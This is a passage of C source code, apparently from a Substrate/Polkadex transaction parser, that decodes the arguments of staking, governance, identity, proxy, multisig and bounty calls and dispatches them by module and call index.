CHECK_ERROR(_readAccountId_V2(c, &m->validator_stash)) CHECK_ERROR(_readEraIndex_V2(c, &m->era)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_set_history_depth_V2( parser_context_t* c, pd_staking_set_history_depth_V2_t* m) { CHECK_ERROR(_readCompactEraIndex_V2(c, &m->new_history_depth)) CHECK_ERROR(_readCompactu32(c, &m->_era_items_deleted)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_reap_stash_V2( parser_context_t* c, pd_staking_reap_stash_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->stash)) CHECK_ERROR(_readu32(c, &m->num_slashing_spans)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_staking_chill_other_V2( parser_context_t* c, pd_staking_chill_other_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->controller)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_session_set_keys_V2( parser_context_t* c, pd_session_set_keys_V2_t* m) { CHECK_ERROR(_readKeys_V2(c, &m->keys)) CHECK_ERROR(_readBytes(c, &m->proof)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_session_purge_keys_V2( parser_context_t* c, pd_session_purge_keys_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_council_set_members_V2( parser_context_t* c, pd_council_set_members_V2_t* m) { CHECK_ERROR(_readVecAccountId_V2(c, &m->new_members)) CHECK_ERROR(_readOptionAccountId_V2(c, &m->prime)) CHECK_ERROR(_readMemberCount_V2(c, &m->old_count)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_council_execute_V2( parser_context_t* c, pd_council_execute_V2_t* m) { CHECK_ERROR(_readProposal(c, &m->proposal)) CHECK_ERROR(_readCompactu32(c, &m->length_bound)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_council_propose_V2( parser_context_t* c, pd_council_propose_V2_t* m) { CHECK_ERROR(_readCompactMemberCount_V2(c, &m->threshold)) CHECK_ERROR(_readProposal(c, &m->proposal)) CHECK_ERROR(_readCompactu32(c, &m->length_bound)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_council_vote_V2( parser_context_t* c, pd_council_vote_V2_t* m) { CHECK_ERROR(_readHash(c, &m->proposal)) CHECK_ERROR(_readCompactProposalIndex_V2(c, &m->index)) CHECK_ERROR(_readbool(c, &m->approve)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_council_close_V2( parser_context_t* c, pd_council_close_V2_t* m) { CHECK_ERROR(_readHash(c, &m->proposal_hash)) CHECK_ERROR(_readCompactProposalIndex_V2(c, &m->index)) CHECK_ERROR(_readCompactWeight_V2(c, &m->proposal_weight_bound)) CHECK_ERROR(_readCompactu32(c, &m->length_bound)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_council_disapprove_proposal_V2( parser_context_t* c, pd_council_disapprove_proposal_V2_t* m) { CHECK_ERROR(_readHash(c, &m->proposal_hash)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalcommittee_set_members_V2( parser_context_t* c, pd_technicalcommittee_set_members_V2_t* m) { CHECK_ERROR(_readVecAccountId_V2(c, &m->new_members)) CHECK_ERROR(_readOptionAccountId_V2(c, &m->prime)) CHECK_ERROR(_readMemberCount_V2(c, &m->old_count)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalcommittee_execute_V2( parser_context_t* c, pd_technicalcommittee_execute_V2_t* m) { CHECK_ERROR(_readProposal(c, &m->proposal)) CHECK_ERROR(_readCompactu32(c, &m->length_bound)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalcommittee_propose_V2( parser_context_t* c, pd_technicalcommittee_propose_V2_t* m) { CHECK_ERROR(_readCompactMemberCount_V2(c, &m->threshold)) CHECK_ERROR(_readProposal(c, &m->proposal)) CHECK_ERROR(_readCompactu32(c, &m->length_bound)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalcommittee_vote_V2( parser_context_t* c, pd_technicalcommittee_vote_V2_t* m) { CHECK_ERROR(_readHash(c, &m->proposal)) CHECK_ERROR(_readCompactProposalIndex_V2(c, &m->index)) CHECK_ERROR(_readbool(c, &m->approve)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalcommittee_close_V2( parser_context_t* c, pd_technicalcommittee_close_V2_t* m) { CHECK_ERROR(_readHash(c, &m->proposal_hash)) CHECK_ERROR(_readCompactProposalIndex_V2(c, &m->index)) CHECK_ERROR(_readCompactWeight_V2(c, &m->proposal_weight_bound)) CHECK_ERROR(_readCompactu32(c, &m->length_bound)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalcommittee_disapprove_proposal_V2( parser_context_t* c, pd_technicalcommittee_disapprove_proposal_V2_t* m) { CHECK_ERROR(_readHash(c, &m->proposal_hash)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_elections_vote_V2( parser_context_t* c, pd_elections_vote_V2_t* m) { CHECK_ERROR(_readVecAccountId_V2(c, &m->votes)) CHECK_ERROR(_readCompactBalanceOf(c, &m->value)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_elections_remove_voter_V2( parser_context_t* c, pd_elections_remove_voter_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_elections_submit_candidacy_V2( parser_context_t* c, pd_elections_submit_candidacy_V2_t* m) { CHECK_ERROR(_readCompactu32(c, &m->candidate_count)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_elections_remove_member_V2( parser_context_t* c, pd_elections_remove_member_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->who)) CHECK_ERROR(_readbool(c, &m->has_replacement)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_elections_clean_defunct_voters_V2( parser_context_t* c, pd_elections_clean_defunct_voters_V2_t* m) { CHECK_ERROR(_readu32(c, &m->_num_voters)) CHECK_ERROR(_readu32(c, &m->_num_defunct)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalmembership_add_member_V2( parser_context_t* c, pd_technicalmembership_add_member_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->who)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalmembership_remove_member_V2( parser_context_t* c, pd_technicalmembership_remove_member_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->who)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalmembership_swap_member_V2( parser_context_t* c, pd_technicalmembership_swap_member_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->remove)) CHECK_ERROR(_readAccountId_V2(c, &m->add)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalmembership_reset_members_V2( parser_context_t* c, pd_technicalmembership_reset_members_V2_t* m) { CHECK_ERROR(_readVecAccountId_V2(c, &m->members)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalmembership_change_key_V2( parser_context_t* c, pd_technicalmembership_change_key_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->new_)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalmembership_set_prime_V2( parser_context_t* c, pd_technicalmembership_set_prime_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->who)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_technicalmembership_clear_prime_V2( parser_context_t* c, pd_technicalmembership_clear_prime_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_grandpa_note_stalled_V2( parser_context_t* c, pd_grandpa_note_stalled_V2_t* m) { CHECK_ERROR(_readBlockNumber(c, &m->delay)) CHECK_ERROR(_readBlockNumber(c, &m->best_finalized_block_number)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_treasury_propose_spend_V2( parser_context_t* c, pd_treasury_propose_spend_V2_t* m) { CHECK_ERROR(_readCompactBalanceOf(c, &m->value)) CHECK_ERROR(_readLookupSource_V2(c, &m->beneficiary)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_treasury_reject_proposal_V2( parser_context_t* c, pd_treasury_reject_proposal_V2_t* m) { CHECK_ERROR(_readCompactProposalIndex_V2(c, &m->proposal_id)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_treasury_approve_proposal_V2( parser_context_t* c, pd_treasury_approve_proposal_V2_t* m) { CHECK_ERROR(_readCompactProposalIndex_V2(c, &m->proposal_id)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_sudo_sudo_V2( parser_context_t* c, pd_sudo_sudo_V2_t* m) { CHECK_ERROR(_readCall(c, &m->call)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_sudo_sudo_unchecked_weight_V2( parser_context_t* c, pd_sudo_sudo_unchecked_weight_V2_t* m) { CHECK_ERROR(_readCall(c, &m->call)) CHECK_ERROR(_readWeight_V2(c, &m->_weight)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_sudo_set_key_V2( parser_context_t* c, pd_sudo_set_key_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->new_)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_sudo_sudo_as_V2( parser_context_t* c, pd_sudo_sudo_as_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->who)) CHECK_ERROR(_readCall(c, &m->call)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_identity_add_registrar_V2( parser_context_t* c, pd_identity_add_registrar_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->account)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_identity_clear_identity_V2( parser_context_t* c, pd_identity_clear_identity_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_identity_request_judgement_V2( parser_context_t* c, pd_identity_request_judgement_V2_t* m) { CHECK_ERROR(_readCompactRegistrarIndex_V2(c, &m->reg_index)) CHECK_ERROR(_readCompactBalanceOf(c, &m->max_fee)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_identity_cancel_request_V2( parser_context_t* c, pd_identity_cancel_request_V2_t* m) { CHECK_ERROR(_readRegistrarIndex_V2(c, &m->reg_index)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_identity_set_fee_V2( parser_context_t* c, pd_identity_set_fee_V2_t* m) { CHECK_ERROR(_readCompactRegistrarIndex_V2(c, &m->index)) CHECK_ERROR(_readCompactBalanceOf(c, &m->fee)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_identity_set_account_id_V2( parser_context_t* c, pd_identity_set_account_id_V2_t* m) { CHECK_ERROR(_readCompactRegistrarIndex_V2(c, &m->index)) CHECK_ERROR(_readAccountId_V2(c, &m->new_)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_identity_kill_identity_V2( parser_context_t* c, pd_identity_kill_identity_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->target)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_identity_remove_sub_V2( parser_context_t* c, pd_identity_remove_sub_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->sub)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_identity_quit_sub_V2( parser_context_t* c, pd_identity_quit_sub_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_recovery_set_recovered_V2( parser_context_t* c, pd_recovery_set_recovered_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->lost)) CHECK_ERROR(_readAccountId_V2(c, &m->rescuer)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_recovery_initiate_recovery_V2( parser_context_t* c, pd_recovery_initiate_recovery_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->account)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_recovery_vouch_recovery_V2( parser_context_t* c, pd_recovery_vouch_recovery_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->lost)) CHECK_ERROR(_readAccountId_V2(c, &m->rescuer)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_recovery_claim_recovery_V2( parser_context_t* c, pd_recovery_claim_recovery_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->account)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_recovery_close_recovery_V2( parser_context_t* c, pd_recovery_close_recovery_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->rescuer)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_recovery_remove_recovery_V2( parser_context_t* c, pd_recovery_remove_recovery_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_recovery_cancel_recovered_V2( parser_context_t* c, pd_recovery_cancel_recovered_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->account)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_proxy_V2( parser_context_t* c, pd_proxy_proxy_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->real)) CHECK_ERROR(_readOptionProxyType_V2(c, &m->force_proxy_type)) CHECK_ERROR(_readCall(c, &m->call)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_add_proxy_V2( parser_context_t* c, pd_proxy_add_proxy_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->delegate)) CHECK_ERROR(_readProxyType_V2(c, &m->proxy_type)) CHECK_ERROR(_readBlockNumber(c, &m->delay)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_remove_proxy_V2( parser_context_t* c, pd_proxy_remove_proxy_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->delegate)) CHECK_ERROR(_readProxyType_V2(c, &m->proxy_type)) CHECK_ERROR(_readBlockNumber(c, &m->delay)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_remove_proxies_V2( parser_context_t* c, pd_proxy_remove_proxies_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_anonymous_V2( parser_context_t* c, pd_proxy_anonymous_V2_t* m) { CHECK_ERROR(_readProxyType_V2(c, &m->proxy_type)) CHECK_ERROR(_readBlockNumber(c, &m->delay)) CHECK_ERROR(_readu16(c, &m->index)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_kill_anonymous_V2( parser_context_t* c, pd_proxy_kill_anonymous_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->spawner)) CHECK_ERROR(_readProxyType_V2(c, &m->proxy_type)) CHECK_ERROR(_readu16(c, &m->index)) CHECK_ERROR(_readCompactBlockNumber(c, &m->height)) CHECK_ERROR(_readCompactu32(c, &m->ext_index)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_announce_V2( parser_context_t* c, pd_proxy_announce_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->real)) CHECK_ERROR(_readCallHashOf_V2(c, &m->call_hash)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_remove_announcement_V2( parser_context_t* c, pd_proxy_remove_announcement_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->real)) CHECK_ERROR(_readCallHashOf_V2(c, &m->call_hash)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_reject_announcement_V2( parser_context_t* c, pd_proxy_reject_announcement_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->delegate)) CHECK_ERROR(_readCallHashOf_V2(c, &m->call_hash)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_proxy_proxy_announced_V2( parser_context_t* c, pd_proxy_proxy_announced_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->delegate)) CHECK_ERROR(_readAccountId_V2(c, &m->real)) CHECK_ERROR(_readOptionProxyType_V2(c, &m->force_proxy_type)) CHECK_ERROR(_readCall(c, &m->call)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_multisig_as_multi_threshold_1_V2( parser_context_t* c, pd_multisig_as_multi_threshold_1_V2_t* m) { CHECK_ERROR(_readVecAccountId_V2(c, &m->other_signatories)) CHECK_ERROR(_readCall(c, &m->call)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_multisig_as_multi_V2( parser_context_t* c, pd_multisig_as_multi_V2_t* m) { CHECK_ERROR(_readu16(c, &m->threshold)) CHECK_ERROR(_readVecAccountId_V2(c, &m->other_signatories)) CHECK_ERROR(_readOptionTimepoint_V2(c, &m->maybe_timepoint)) CHECK_ERROR(_readOpaqueCall_V2(c, &m->call)) CHECK_ERROR(_readbool(c, &m->store_call)) CHECK_ERROR(_readWeight_V2(c, &m->max_weight)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_multisig_approve_as_multi_V2( parser_context_t* c, pd_multisig_approve_as_multi_V2_t* m) { CHECK_ERROR(_readu16(c, &m->threshold)) CHECK_ERROR(_readVecAccountId_V2(c, &m->other_signatories)) CHECK_ERROR(_readOptionTimepoint_V2(c, &m->maybe_timepoint)) CHECK_ERROR(_readH256(c, &m->call_hash)) CHECK_ERROR(_readWeight_V2(c, &m->max_weight)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_multisig_cancel_as_multi_V2( parser_context_t* c, pd_multisig_cancel_as_multi_V2_t* m) { CHECK_ERROR(_readu16(c, &m->threshold)) CHECK_ERROR(_readVecAccountId_V2(c, &m->other_signatories)) CHECK_ERROR(_readTimepoint_V2(c, &m->timepoint)) CHECK_ERROR(_readH256(c, &m->call_hash)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_bounties_propose_bounty_V2( parser_context_t* c, pd_bounties_propose_bounty_V2_t* m) { CHECK_ERROR(_readCompactBalanceOf(c, &m->value)) CHECK_ERROR(_readBytes(c, &m->description)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_bounties_approve_bounty_V2( parser_context_t* c, pd_bounties_approve_bounty_V2_t* m) { CHECK_ERROR(_readCompactBountyIndex_V2(c, &m->bounty_id)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_bounties_propose_curator_V2( parser_context_t* c, pd_bounties_propose_curator_V2_t* m) { CHECK_ERROR(_readCompactBountyIndex_V2(c, &m->bounty_id)) CHECK_ERROR(_readLookupSource_V2(c, &m->curator)) CHECK_ERROR(_readCompactBalanceOf(c, &m->fee)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_bounties_unassign_curator_V2( parser_context_t* c, pd_bounties_unassign_curator_V2_t* m) { CHECK_ERROR(_readCompactBountyIndex_V2(c, &m->bounty_id)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_bounties_accept_curator_V2( parser_context_t* c, pd_bounties_accept_curator_V2_t* m) { CHECK_ERROR(_readCompactBountyIndex_V2(c, &m->bounty_id)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_bounties_award_bounty_V2( parser_context_t* c, pd_bounties_award_bounty_V2_t* m) { CHECK_ERROR(_readCompactBountyIndex_V2(c, &m->bounty_id)) CHECK_ERROR(_readLookupSource_V2(c, &m->beneficiary)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_bounties_claim_bounty_V2( parser_context_t* c, pd_bounties_claim_bounty_V2_t* m) { CHECK_ERROR(_readCompactBountyIndex_V2(c, &m->bounty_id)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_bounties_close_bounty_V2( parser_context_t* c, pd_bounties_close_bounty_V2_t* m) { CHECK_ERROR(_readCompactBountyIndex_V2(c, &m->bounty_id)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_bounties_extend_bounty_expiry_V2( parser_context_t* c, pd_bounties_extend_bounty_expiry_V2_t* m) { CHECK_ERROR(_readCompactBountyIndex_V2(c, &m->bounty_id)) CHECK_ERROR(_readBytes(c, &m->_remark)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_ormlvesting_claim_V2( parser_context_t* c, pd_ormlvesting_claim_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_ormlvesting_claim_for_V2( parser_context_t* c, pd_ormlvesting_claim_for_V2_t* m) { CHECK_ERROR(_readLookupSource_V2(c, &m->dest)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_pdexmigration_set_migration_operational_status_V2( parser_context_t* c, pd_pdexmigration_set_migration_operational_status_V2_t* m) { CHECK_ERROR(_readbool(c, &m->status)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_pdexmigration_set_relayer_status_V2( parser_context_t* c, pd_pdexmigration_set_relayer_status_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->relayer)) CHECK_ERROR(_readbool(c, &m->status)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_pdexmigration_mint_V2( parser_context_t* c, pd_pdexmigration_mint_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->beneficiary)) CHECK_ERROR(_readBalance(c, &m->amount)) CHECK_ERROR(_readHash(c, &m->eth_tx)) return parser_ok; } __Z_INLINE parser_error_t _readMethod_pdexmigration_unlock_V2( parser_context_t* c, pd_pdexmigration_unlock_V2_t* m) { return parser_ok; } __Z_INLINE parser_error_t _readMethod_pdexmigration_remove_minted_tokens_V2( parser_context_t* c, pd_pdexmigration_remove_minted_tokens_V2_t* m) { CHECK_ERROR(_readAccountId_V2(c, &m->beneficiary)) return parser_ok; } #endif parser_error_t _readMethod_V2( parser_context_t* c, uint8_t moduleIdx, uint8_t callIdx, pd_Method_V2_t* method) { uint16_t callPrivIdx = ((uint16_t)moduleIdx << 8u) + callIdx; switch (callPrivIdx) { case 1536: /* module 6 call 0 */ CHECK_ERROR(_readMethod_balances_transfer_V2(c, &method->nested.balances_transfer_V2)) break; case 2304: /* module 9 call 0 */ CHECK_ERROR(_readMethod_staking_bond_V2(c, &method->basic.staking_bond_V2)) break; case 2306: /* module 9 call 2 */ CHECK_ERROR(_readMethod_staking_unbond_V2(c, &method->basic.staking_unbond_V2)) break; case 2308: /* module 9 call 4 */ CHECK_ERROR(_readMethod_staking_validate_V2(c, &method->basic.staking_validate_V2)) break; case 2309: /* module 9 call 5 */ CHECK_ERROR(_readMethod_staking_nominate_V2(c, &method->basic.staking_nominate_V2)) break; case 2310: /* module 9 call 6 */ CHECK_ERROR(_readMethod_staking_chill_V2(c, &method->basic.staking_chill_V2)) break; case 2323: /* module 9 call 19 */ CHECK_ERROR(_readMethod_staking_rebond_V2(c, &method->basic.staking_rebond_V2)) break; #ifdef SUBSTRATE_PARSER_FULL case 0: /* module 0 call 0 */ CHECK_ERROR(_readMethod_system_fill_block_V2(c, &method->nested.system_fill_block_V2)) break; case 1: /* module 0 call 1 */ CHECK_ERROR(_readMethod_system_remark_V2(c, &method->nested.system_remark_V2)) break; case 2: /* module 0 call 2 */ CHECK_ERROR(_readMethod_system_set_heap_pages_V2(c, &method->nested.system_set_heap_pages_V2)) break; case 3: /* module 0 call 3 */ CHECK_ERROR(_readMethod_system_set_code_V2(c, &method->nested.system_set_code_V2)) break; case 4: /* module 0 call 4 */ CHECK_ERROR(_readMethod_system_set_code_without_checks_V2(c, &method->nested.system_set_code_without_checks_V2)) break; case 9: /* module 0 call 9 */ CHECK_ERROR(_readMethod_system_remark_with_event_V2(c, &method->basic.system_remark_with_event_V2)) break; case 768: /* module 3 call 0 */ CHECK_ERROR(_readMethod_timestamp_set_V2(c, &method->basic.timestamp_set_V2)) break; case 1280: /* module 5 call 0 */ CHECK_ERROR(_readMethod_indices_claim_V2(c, &method->basic.indices_claim_V2)) break; case 1282: /* module 5 call 2 */ CHECK_ERROR(_readMethod_indices_free_V2(c, &method->basic.indices_free_V2)) break; case 1283: /* module 5 call 3 */ CHECK_ERROR(_readMethod_indices_force_transfer_V2(c, &method->basic.indices_force_transfer_V2)) break; case 1284: /* module 5 call 4 */ CHECK_ERROR(_readMethod_indices_freeze_V2(c, &method->basic.indices_freeze_V2)) break; case 1537: /* module 6 call 1 */ CHECK_ERROR(_readMethod_balances_set_balance_V2(c, &method->nested.balances_set_balance_V2)) break; case 1538: /* module 6 call 2 */ CHECK_ERROR(_readMethod_balances_force_transfer_V2(c, &method->nested.balances_force_transfer_V2)) break; case 1539: /* module 6 call 3 */ CHECK_ERROR(_readMethod_balances_transfer_keep_alive_V2(c, &method->nested.balances_transfer_keep_alive_V2)) break; case 1540: /* module 6 call 4 */ CHECK_ERROR(_readMethod_balances_transfer_all_V2(c, &method->basic.balances_transfer_all_V2)) break; case 2305: /* module 9 call 1 */ CHECK_ERROR(_readMethod_staking_bond_extra_V2(c, &method->basic.staking_bond_extra_V2)) break; case 2307: /* module 9 call 3 */ CHECK_ERROR(_readMethod_staking_withdraw_unbonded_V2(c, &method->basic.staking_withdraw_unbonded_V2)) break; case 2311: /* module 9 call 7 */ CHECK_ERROR(_readMethod_staking_set_payee_V2(c, &method->basic.staking_set_payee_V2)) break; case 2312: /* module 9 call 8 */ CHECK_ERROR(_readMethod_staking_set_controller_V2(c, &method->basic.staking_set_controller_V2)) break; case 2313: /* module 9 call 9 */ CHECK_ERROR(_readMethod_staking_set_validator_count_V2(c, &method->basic.staking_set_validator_count_V2)) break; case 2314: /* module 9 call 10 */ CHECK_ERROR(_readMethod_staking_increase_validator_count_V2(c, &method->basic.staking_increase_validator_count_V2)) break; case 2316: /* module 9 call 12 */ CHECK_ERROR(_readMethod_staking_force_no_eras_V2(c, &method->basic.staking_force_no_eras_V2)) break; case 2317: /* module 9 call 13 */ CHECK_ERROR(_readMethod_staking_force_new_era_V2(c, &method->basic.staking_force_new_era_V2)) break; case 2318: /* module 9 call 14 */ CHECK_ERROR(_readMethod_staking_set_invulnerables_V2(c, &method->basic.staking_set_invulnerables_V2)) break; case 2319: /* module 9 call 15 */ CHECK_ERROR(_readMethod_staking_force_unstake_V2(c, &method->basic.staking_force_unstake_V2)) break; case 2320: /* module 9 call 16 */ CHECK_ERROR(_readMethod_staking_force_new_era_always_V2(c, &method->basic.staking_force_new_era_always_V2)) break; case 2321: /* module 9 call 17 */ CHECK_ERROR(_readMethod_staking_cancel_deferred_slash_V2(c, &method->basic.staking_cancel_deferred_slash_V2)) break; case 2322: /* module 9 call 18 */ CHECK_ERROR(_readMethod_staking_payout_stakers_V2(c, &method->basic.staking_payout_stakers_V2)) break; case 2324: /* module 9 call 20 */ CHECK_ERROR(_readMethod_staking_set_history_depth_V2(c, &method->basic.staking_set_history_depth_V2)) break; case 2325: /* module 9 call 21 */ CHECK_ERROR(_readMethod_staking_reap_stash_V2(c, &method->basic.staking_reap_stash_V2)) break; case 2328: /* module 9 call 24 */ CHECK_ERROR(_readMethod_staking_chill_other_V2(c, &method->basic.staking_chill_other_V2)) break; case 2560: /* module 10 call 0 */ CHECK_ERROR(_readMethod_session_set_keys_V2(c, &method->basic.session_set_keys_V2)) break; case 2561: /* module 10 call 1 */ CHECK_ERROR(_readMethod_session_purge_keys_V2(c, &method->basic.session_purge_keys_V2)) break; case 2816: /* module 11 call 0 */ CHECK_ERROR(_readMethod_council_set_members_V2(c, &method->basic.council_set_members_V2)) break; case 2817: /* module 11 call 1 */ CHECK_ERROR(_readMethod_council_execute_V2(c, &method->basic.council_execute_V2)) break; case 2818: /* module 11 call 2 */ CHECK_ERROR(_readMethod_council_propose_V2(c, &method->basic.council_propose_V2)) break; case 2819: /* module 11 call 3 */ CHECK_ERROR(_readMethod_council_vote_V2(c, &method->basic.council_vote_V2)) break; case 2820: /* module 11 call 4 */ CHECK_ERROR(_readMethod_council_close_V2(c, &method->basic.council_close_V2)) break; case 2821: /* module 11 call 5 */ CHECK_ERROR(_readMethod_council_disapprove_proposal_V2(c, &method->basic.council_disapprove_proposal_V2)) break; case 3072: /* module 12 call 0 */ CHECK_ERROR(_readMethod_technicalcommittee_set_members_V2(c, &method->basic.technicalcommittee_set_members_V2)) break; case 3073: /* module 12 call 1 */ CHECK_ERROR(_readMethod_technicalcommittee_execute_V2(c, &method->basic.technicalcommittee_execute_V2)) break; case 3074: /* module 12 call 2 */ CHECK_ERROR(_readMethod_technicalcommittee_propose_V2(c, &method->basic.technicalcommittee_propose_V2)) break; case 3075: /* module 12 call 3 */ CHECK_ERROR(_readMethod_technicalcommittee_vote_V2(c, &method->basic.technicalcommittee_vote_V2)) break; case 3076: /* module 12 call 4 */ CHECK_ERROR(_readMethod_technicalcommittee_close_V2(c, &method->basic.technicalcommittee_close_V2)) break; case 3077: /* module 12 call 5 */ CHECK_ERROR(_readMethod_technicalcommittee_disapprove_proposal_V2(c, &method->basic.technicalcommittee_disapprove_proposal_V2)) break; case 3328: /* module 13 call 0 */ CHECK_ERROR(_readMethod_elections_vote_V2(c, &method->basic.elections_vote_V2)) break; case 3329: /* module 13 call 1 */ CHECK_ERROR(_readMethod_elections_remove_voter_V2(c, &method->basic.elections_remove_voter_V2)) break; case 3330: /* module 13 call 2 */ CHECK_ERROR(_readMethod_elections_submit_candidacy_V2(c, &method->basic.elections_submit_candidacy_V2)) break; case 3332: /* module 13 call 4 */ CHECK_ERROR(_readMethod_elections_remove_member_V2(c, &method->basic.elections_remove_member_V2)) break; case 3333: /* module 13 call 5 */ CHECK_ERROR(_readMethod_elections_clean_defunct_voters_V2(c, &method->basic.elections_clean_defunct_voters_V2)) break; case 3584: /* module 14 call 0 */ CHECK_ERROR(_readMethod_technicalmembership_add_member_V2(c, &method->basic.technicalmembership_add_member_V2)) break; case 3585: /* module 14 call 1 */ CHECK_ERROR(_readMethod_technicalmembership_remove_member_V2(c, &method->basic.technicalmembership_remove_member_V2)) break; case 3586: /* module 14 call 2 */ CHECK_ERROR(_readMethod_technicalmembership_swap_member_V2(c, &method->basic.technicalmembership_swap_member_V2)) break; case 3587: /* module 14 call 3 */ CHECK_ERROR(_readMethod_technicalmembership_reset_members_V2(c, &method->basic.technicalmembership_reset_members_V2)) break; case 3588: /* module 14 call 4 */ CHECK_ERROR(_readMethod_technicalmembership_change_key_V2(c, &method->basic.technicalmembership_change_key_V2)) break; case 3589: /* module 14 call 5 */ CHECK_ERROR(_readMethod_technicalmembership_set_prime_V2(c, &method->basic.technicalmembership_set_prime_V2)) break; case 3590: /* module 14 call 6 */ CHECK_ERROR(_readMethod_technicalmembership_clear_prime_V2(c, 